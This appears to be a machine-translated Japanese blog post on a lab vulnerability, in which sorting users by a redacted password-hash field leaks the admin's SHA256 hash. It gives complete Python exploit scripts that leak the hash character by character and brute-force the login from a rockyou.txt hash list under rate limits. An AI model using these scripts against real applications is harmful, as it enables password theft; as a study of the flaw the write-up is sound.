パスワードを盗む方法を分類する

May 09 2023
はじめに 最近、データが適切に編集されているように見えても、パスワード ハッシュ抽出を実行できるユニークな脆弱性に遭遇しました。この脆弱性の実際的な影響を実証するために、私は文字ごとの比較方法を採用したスクリプトを開発し、ユーザーをソートし、その位置を観察することで管理者パスワードのハッシュを段階的に構築しました。
SHA256 管理者パスワード ハッシュの解読

序章

最近、データが適切に編集されているように見えたにもかかわらず、パスワード ハッシュ抽出を実行できる固有の脆弱性に遭遇しました。

この脆弱性の実際的な影響を実証するために、私は文字ごとの比較方法を採用したスクリプトを開発し、ユーザーをソートし、その位置を観察することで管理者パスワードのハッシュを段階的に構築しました。このアプローチは時間はかかりますが、従来のブルートフォース手法に頼らずに SHA256 パスワード ハッシュを解読できるまたとない機会を提供しました。

Web アプリケーションの探索

この脆弱性を説明するために、このセキュリティ上の欠陥をシミュレートするデモ Web アプリケーションを作成しました。このデモは Docker 化されており、自分のマシンで試したい場合はここからダウンロードできます。Web アプリケーションは次のようになります。

デモウェブサイト

このアプリケーションは基本的なもので、並べ替え、新しいユーザーの追加、すべてのユーザーの削除のオプションを備えたユーザー テーブルで構成されています。実際のシナリオでは、この機能は認証の背後でより高度で安全になる可能性があります。

バグを見つける

標準的な Web アプリケーション セキュリティ手法を実行しているときに、users テーブルに関して興味深いことに気づきました。Burp Suite を使用して、テーブル内のユーザーを並べ替えるindex.html ページを表示すると、リクエストが送信されていることがわかりました。

これは特に異常なことではありませんでしたが、列をソートするためにいくつかの異なる方法を試した結果、password_hashでソートするとユーザーの位置が変わっていることがわかりました。

これは非常に奇妙でした。上のスクリーンショットではすべてのハッシュが編集されているため、そのフィールドで並べ替えるときに位置が変更されるべきではありません。

この問題が発生した理由を理解するために、コードを分析したところ、次のことがわかりました。

# Getting users for the table on index.html
@app.route('/users')
def get_users():
    sort_col = request.args.get('sort_col', default='id')
    sort_order = request.args.get('sort_order', default='asc')

    sorted_users = sorted(
        users, key=lambda u: u[sort_col], reverse=(sort_order == 'dec'))

    redacted_users = []
    for user in sorted_users:
        redacted_user = user.copy()
        redacted_user['password_hash'] = 'REDACTED'
        redacted_users.append(redacted_user)

    return jsonify(redacted_users)

理論的には、パスワード ハッシュ メカニズム (通常は SHA256、MD5、または bcrypt) を知っている、または推測できれば、ハッシュが何であるかを知っているパスワードを使用して新しいユーザーを作成し、それをユーザーの並べ替えに使用して決定することができます。管理者ユーザーのパスワード。

上の図では、管理者パスワードは donut で、SHA256 ハッシュは2f63371bea3c61d9fdba4469984bd22f2cc2381d23e031634f0387bdd97bd28fです。
私の目標は、リスト内の私の前に管理者ユーザーを返すことです。その場合、私のハッシュは管理者よりも前の値で始まることがわかります。したがって、上記の場合、私のハッシュは管理者よりも小さいため、[me, admin] が返されます。

この図では、パスワードを 72yY2GEp41 に更新し、SHA256 ハッシュは240ba23967c8a19f98e7315b1198b1aebd203836435c5f0d03dbfd84d11853dbになりました。check()関数を実行すると、依然としてリストの先頭に表示されます。ただし、この関数は最初の文字が同じ「2」 == 「2」であることを検証し、次の文字「f」>「4」をチェックします。これにより、最初にハッシュが返されます。

最後に、私のパスワード ハッシュが文字「3」で始まる場合、それは「2」で始まる管理者のパスワード ハッシュよりも大きくなります。したがって、管理者はリストの最初に戻り、管理者のパスワード ハッシュのインデックス[0] スロットに「2」があることがわかります。かなりクールですよね!では、この理論をコードに変換してみましょう。

理論をコードに変える

この問題に対する私のアプローチはかなり遅いので、これを行うより効率的な方法を知っている場合は、コメントして知らせてください。

管理者パスワードのハッシュを抽出するために実行したプロセスは次のとおりです。

  1. 選択したパスワードで新しいユーザーを作成し、ユーザー テーブルをクリアし、ユーザーを並べ替えるための関数をいくつか書きます。そのために作成したコードは次のとおりです。
  2. domain = "lab.prodefense.io"
    def create_user(email='[email protected]', name='matt', password='hackyhack'):
        url = f"http://{domain}/users"
        json = {"email": email, "name": name, "password": password}
        requests.post(url, json=json)
    
    
    def clear_users():
        url = f"http://{domain}/users"
        requests.delete(url)
    
    
    def sort_users(direction='asc'):
        url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
        r = requests.get(url)
        return r.text
    

    python-requests Burp Suite 拡張機能としてコピー

2. 次に、 check()という関数を作成して、sort_users()関数からの JSON 応答がリストの最初に管理者ユーザーを含む users テーブルを返しているか、2 番目にあるかを確認します。

def check():
    users = json.loads(sort_users())
    return users[0]['id'] == 1

3. 次に、プレフィックスで始まる SHA256 ハッシュを検索し、そのハッシュの生成に使用された文字列とハッシュ自体の両方を返す必要がありました。
たとえば、admin_hash が8c 6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918であることがわかっているとします。

次に、ソートに使用できるハッシュを作成する必要があります。したがって、 my_hash は次のようになります: 87 227afead5d3d1a5b89bf07a673510114b1d98d473d43e0ff7e3b230032311e。ここでの考え方は、データベースを並べ替えることができるので、admin_hash が my_hash と比較して昇順であるか降順であるかを判断できるということです。したがって、8c6976e… は 87227af… の前に最初に表示されます。これは、8 は等しい ですが、降順の値の並べ替えの場合は「c」が「 7」より前に来るためです。分かりましたか?

あとは、管理者のプレーンテキストのパスワードとそのハッシュの両方を取得するまで、文字ごとにプレフィックス付きのハッシュを作成するだけです。そのために私のコードは次のようになりました。

def gen_hash(prefix):
    while True:
        random_string = ''.join(random.choices(
            string.ascii_letters + string.digits, k=10))
        sha256_hash = hashlib.sha256(random_string.encode()).hexdigest()
        if sha256_hash.startswith(prefix):
            return random_string, sha256_hash

4. この関数が機能するようになったら、管理者と一致するハッシュを取得するまで、文字ごとにファジングするロジックは必要ありません。これを行うには、私のコードは次のようになりました。

if __name__ == '__main__':
    # SHA256 hashes can only have 0-9, a-f which limits our bank significantly. 
    bank = '0123456789abcdef'
    value = []
    # 64 chars is the length of a SHA256 hash
    while len(value) <= 64:
        found_match = False
        for char in bank:
            # Sends the POST request to clear all users but admin
            clear_users()
            # Ill talk about the 'ff' below :sad-doge:
            rand_string, hash = gen_hash("".join(value) + char + 'ff')
            # Creates a new user, with the random string that has our prefix
            create_user(password=rand_string)
            # Checking to see if admin comes first or second in the table
            if check():
                value.append(char)
                found_match = True
                break
            # Adds some animation because who likes boring CLIs
            print(f"[!] ADMIN HASH: {''.join(value)}{char}", end='\r')
            time.sleep(0.1)
        if not found_match:
            value.append('0' if not value else 'f')

    print("\n[!] FINAL ADMIN HASH: " + ''.join(value))

全体として、これらのコードをすべてまとめると、コンソールに以下の GIF のようなものが表示されるはずです。

GIF を見ると、数文字しか取得できず、その後、速度が大幅に低下し始めることがわかります。それは、文字通り、管理者ユーザーのパスワードをブルートフォース攻撃しているからです。これは大きな制限であり、攻撃者はパスワードの生成に多くの時間を費やす必要がある可能性があります。これと一般的なブルートフォースの唯一の違いは、制限がコンピューターの計算能力によるものであることです。ハッシュを事前に計算するか、検索するための大きなレインボー テーブルを用意しない限り、5 文字以上で始まるハッシュを見つけるには時間がかかります。全体として、このような完全なブルートフォースを取得するには、サーバーへのリクエストが約 500 件必要になる可能性があり、正しいハッシュ値を取得するには大量の文字列を生成する必要があります。

典型的なブルートフォースではない

デモ アプリケーションには、メイン エンドポイントで 200 リクエスト/時間、ログイン エンドポイントで 20 リクエスト/時間のレート制限が組み込まれています。それを念頭に置くと、ブルートフォース攻撃では、パスワードを推測するために数十億ではないにしても数百万のリクエストが必要になる可能性があります。しかし、リクエストが 200 件未満であれば実現できると言ったらどうなるでしょうか? それがどのように機能するかを見てみましょう。

最初のsolve.py スクリプトで行ったアプローチと同様に、このアプローチでは、パスワードがRockyou.txtからランダムに選択されると想定します。これは少し不正ですが、rockyou.txt のリストには 14,344,394 (1,400 万) 個のパスワードが含まれています。検出とレート制限を避けるために、200 件未満のリクエストでパスワードを「推測」する必要があります。始めましょう。

  1. 最初のsolve.pyスクリプトと同様に、Webアプリケーションと対話する同じ関数を使用しますが、ログイン関数も作成します。
  2. domain = "lab.prodefense.io"
    def create_user(email='[email protected]', name='matt', password='hackyhack'):
        url = f"http://{domain}/users"
        json = {"email": email, "name": name, "password": password}
        requests.post(url, json=json)
    
    
    def clear_users():
        url = f"http://{domain}/users"
        requests.delete(url)
    
    
    def sort_users(direction='asc'):
        url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
        r = requests.get(url)
        return r.text
    
    
    def login(username, password):
        url = f"http://{domain}/login"
        json = {"username": username, "password": password}
        r = requests.post(url, json=json)
        return r.status_code
    

import hashlib

with open('rockyou.txt', 'r', encoding='utf-8') as input_file:
    with open('combined.txt', 'w') as output_file:
        for line in input_file:
            line = line.strip()
            hashed_line = hashlib.sha256(line.encode()).hexdigest()
            output_file.write(f'{hashed_line},{line}\n')

print('Conversion completed. Check combined.txt file.')

Rockyou.txt SHA256 のパスワード ハッシュ、パスワード形式

2. ここで、 gen_hash(prefix)関数と同様に機能する関数を作成する必要がありましたが、新しい Combined.txt ファイルをスキャンして、 prefix に基づいてユーザーのパスワード ハッシュである可能性のあるハッシュを見つける必要がありました。私がこれでどこに行くのかがわかると思います:)

def find_hashes(prefix):
    hashes = []
    passwords = []
    with open('combined.txt', 'r', errors='replace') as file:
        for line in file:
            line = line.strip()
            if line.startswith(prefix):
                values = line.split(',')
                if len(values) == 2:
                    sha256, password = values
                    hashes.append(sha256)
                    passwords.append(password)

    return hashes, passwords

3. /loginページでは、1 時間あたり 20 リクエストのみが許可されます。そうは言っても、find_hashes()関数を呼び出すことができる十分な長さのプレフィックス値を取得し、指定されたプレフィックス値で始まる 20 個 (またはそれ以下) のパスワードを返す必要がありました。

Possible password hashes (notice they all start with the prefix):

hash_prefix: "b60d9"
     055555:b60d92f92101e5210a530631ec3ad59c32ecdc3fd3ab75ac1291cedcaf6fee77
  cordelius:b60d914e40a9572820f571d8cf38e8425742a8a1cd6c5586f35a6c7e73e39dcf
    terfase:b60d920aa0cabdbdcf7447632bcdb9456a35c4378db17137066aee36d3aeea12
     obolku:b60d9db875658b618b27f0a2d4c869628a9f937ea6c1a0172d4a6acc2f219846
escuelapan2:b60d9852d3325c01b7556719dd1e9b684017b8306fc1902eb9e6298250459735
...etc...

def bruteforce(password_list):
    for pwd in password_list:
        if login('admin', pwd) == 200:
            print(
                f"[!] ADMIN PASSWORD: {colored(pwd, 'green')}")
    sys.exit(0)

if __name__ == '__main__':
    api_call_count = 0
    prefix = ""
    bank = '0123456789abcdef'
    for i in range(10):
        found_match = False
        for char in bank:
            clear_users()
            pwd, hash_value = gen_hash(prefix+char+'f')
            create_user(password=pwd)
            api_call_count += 3
            if check():
                found_match = True
                prefix += char
                tmp_hashes, tmp_passwords = find_hashes(prefix)
                if (len(tmp_hashes) < 20):
                    print(
                        f"[!] PARTIAL ADMIN HASH: {colored(prefix, 'green')}")
                    bruteforce(tmp_passwords)
                break
            print(
                f"[!] FINDING HASH: {prefix}{colored(char, 'red')}   -   [INFO] API Calls Sent: {api_call_count}/200'", end='\r')
            time.sleep(0.2)
        if not found_match:
            hash += 'f' if hash else '0'

87 件のリクエストで Rockyou.txt からランダムなパスワードを解読

このsolve.py スクリプトには 2 分 30 秒かかり、87 個のリクエストが使用されます。パスワード ハッシュは、 14,344,394 (1400 万) 個のパスワードを含むRockyou.txt の単語リスト内で完全にランダムです。

結論

私のデモ Web アプリケーションは「今年最も安全な Web アプリ」の賞を受賞していないかもしれませんが、いくつかのバグがいかにユニークである可能性があるか、そして chatGPT がすぐに私の仕事を奪うことができない理由を確かに示しています。

冗談はさておき、攻撃者が盗まれたパスワードへの道を振り分けることを可能にするこの脆弱性は、一見無害な機能に潜む潜在的なリスクを明らかにします。攻撃者は、徹底的な分析と賢明なアプローチを通じて、注意を怠ると脆弱な Web アプリケーションからパスワード ハッシュを抽出する可能性があります。

注: このブログ投稿が気に入って、独自のソリューション スクリプトを作成してみたい場合は、管理者パスワードをランダムに生成する Docker コンテナを作成しました。このコンテナは、ここからダウンロードできます。ハッピーハッキング!